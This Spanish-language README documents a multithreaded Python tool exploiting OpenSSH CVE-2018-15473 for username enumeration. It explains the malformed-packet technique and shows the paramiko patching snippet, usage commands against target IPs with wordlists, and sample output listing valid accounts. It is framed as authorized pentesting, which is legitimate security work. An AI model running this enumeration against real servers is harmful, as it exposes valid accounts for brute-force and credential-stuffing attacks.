
Una reimplementación en Python 3 del clásico exploit de enumeración de usuarios de OpenSSH CVE-2018-15473, extendida con soporte para múltiples hilos, listas de palabras, detección automática de vulnerabilidades y parches de exploit seguros para hilos.
Una reimplementación en Python 3 del clásico exploit de enumeración de usuarios de OpenSSH CVE-2018-15473, ampliado con multihilo, soporte de listas de palabras, detección automática de vulnerabilidades y parcheo de exploit seguro para hilos.
CVE-2018-15473 es una vulnerabilidad de enumeración de usuarios que afecta a las versiones de OpenSSH 2.3 a 7.7.
La vulnerabilidad surge de una sutil diferencia en cómo el servidor OpenSSH responde a los intentos de autenticación para nombres de usuario válidos vs inválidos. Al elaborar un paquete de autenticación de clave pública malformado, un atacante puede observar el comportamiento del servidor y determinar si un nombre de usuario dado existe en el sistema, sin necesidad de conocer la contraseña del usuario.
Esta información puede ser un primer paso crítico en un ataque dirigido de fuerza bruta o relleno de credenciales.
| Detalle | Valor |
|---|---|
| ID de CVE | CVE-2018-15473 |
| Versiones Afectadas | OpenSSH 2.3 – 7.7 |
| Puntuación CVSS | 5.3 (Medio) |
El flujo de autenticación de OpenSSH normalmente funciona así:
Cliente → MSG_SERVICE_REQUEST → Servidor
Cliente ← MSG_SERVICE_ACCEPT ← Servidor
Cliente → MSG_USERAUTH_REQUEST → Servidor
Cliente ← MSG_USERAUTH_FAILURE o MSG_USERAUTH_SUCCESS ← Servidor
El exploit abusa de la etapa MSG_SERVICE_ACCEPT. Cuando el servidor envía de vuelta un MSG_SERVICE_ACCEPT, se espera que el cliente agregue un campo booleano al paquete MSG_USERAUTH_REQUEST subsiguiente. Al parchear el método Message.add_boolean de paramiko para que no haga nada, la herramienta envía un paquete de autenticación malformado/truncado.
El servidor OpenSSH entonces se comporta de manera diferente dependiendo de si el nombre de usuario existe:
MSG_USERAUTH_FAILURE (el usuario no existe, no tiene sentido verificar la clave)AuthenticationException (intentó verificar la clave, confirmando que el usuario existe)Esta herramienta intercepta esas dos respuestas mediante manejadores de paramiko parcheados (_parse_userauth_failure y _parse_service_accept) y clasifica cada nombre de usuario en consecuencia.
El PoC original parchea add_boolean de forma permanente, lo que causa una condición de carrera cuando varios hilos se ejecutan simultáneamente: los hilos interfieren entre sí en los handshakes, produciendo falsos errores de SSH negotiation failed. Esta reimplementación envuelve el parche en un threading.Lock(), haciendo que el intercambio sea atómico:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap para verificar que el objetivo ejecuta una versión vulnerable de OpenSSH antes de escanearparamikopython-nmapnmap (binario del sistema, debe estar instalado)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Crear y activar un entorno virtual (recomendado)
python3 -m venv venv
source venv/bin/activate
# Instalar dependencias
pip install paramiko python-nmap
Asegúrate de que nmap esté instalado en tu sistema:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Verificar un solo usuario:
python main.py 192.168.1.10 -u root
Enumerar una lista de palabras con hilos por defecto:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Enumerar con un número personalizado de hilos y puerto:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Salida de ejemplo:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Esta herramienta es una reimplementación en Python 3 y extensión del exploit proof-of-concept original. El mérito completo por descubrir y documentar esta vulnerabilidad corresponde a los investigadores originales:
Exploit original: https://leapsecurity.io
Esta reimplementación añade:
Esta herramienta está destinada solo para fines educativos y pruebas de penetración autorizadas.
Usar esta herramienta contra sistemas que no posees o para los cuales no tienes permiso explícito por escrito es ilegal y antético.
El autor no se hace responsable por ningún uso indebido de este software.
Practica siempre la divulgación responsable.
| Tipo | Divulgación de Información / Enumeración de Usuarios |
| Se Requiere Autenticación | No |
| Rol | Nombre / Usuario |
|---|
| Autor del PoC Original | Leap Security (@LeapSecurity) |
| Investigación de Vulnerabilidad | Matthew Daley |
| Investigación de Vulnerabilidad | Justin Gardner |
| Investigación de Vulnerabilidad | Lee David Painter |